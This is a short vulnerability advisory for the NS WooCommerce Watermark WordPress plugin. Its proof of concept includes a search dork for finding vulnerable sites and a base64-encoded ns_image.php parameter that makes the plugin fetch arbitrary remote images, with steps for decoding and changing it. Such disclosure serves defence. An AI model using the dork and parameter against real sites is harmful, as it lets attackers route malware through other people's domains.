WordPress Plugin Vulnerabilities

NS WooCommerce Watermark <= 2.11.3 - Abuse of Functionality

Description

An unprivileged user could use the functionality of the plugin to load images that hide malware for example from passing malicious domains to hide their trace, by making them pass through the vulnerable domain.

Proof of Concept

Search for a vulnerable domain with the dork: "/wp-content/plugins/ns-woocommerce-watermark"

Then go to the path and add: //ns_image.php?param=aW1hZ2VfcGF0aD1odHRwczovL2MudGVub3IuY29tL0VtaVhDd0RKT3JJQUFBQWQvbG9sLXRyb2xvbG8uZ2lmJnd0X3BhdGg9aHR0cHM6Ly9jLnRlbm9yLmNvbS9FbWlYQ3dESk9ySUFBQUFkL2xvbC10cm9sb2xvLmdpZiZvdGhlcj0=

The param value can be modified by decoding it in base64: image_path=https://c.tenor.com/EmiXCwDJOrIAAAAd/lol-trololo.gif&wt_path=https://c.tenor.com/EmiXCwDJOrIAAAAd/lol-trololo.gif&other=


https://example.com/wp-content/plugins/ns-woocommerce-watermark/ns_image.php?param=aW1hZ2VfcGF0aD1odHRwczovL2MudGVub3IuY29tL0VtaVhDd0RKT3JJQUFBQWQvbG9sLXRyb2xvbG8uZ2lmJnd0X3BhdGg9aHR0cHM6Ly9jLnRlbm9yLmNvbS9FbWlYQ3dESk9ySUFBQUFkL2xvbC10cm9sb2xvLmdpZiZvdGhlcj0=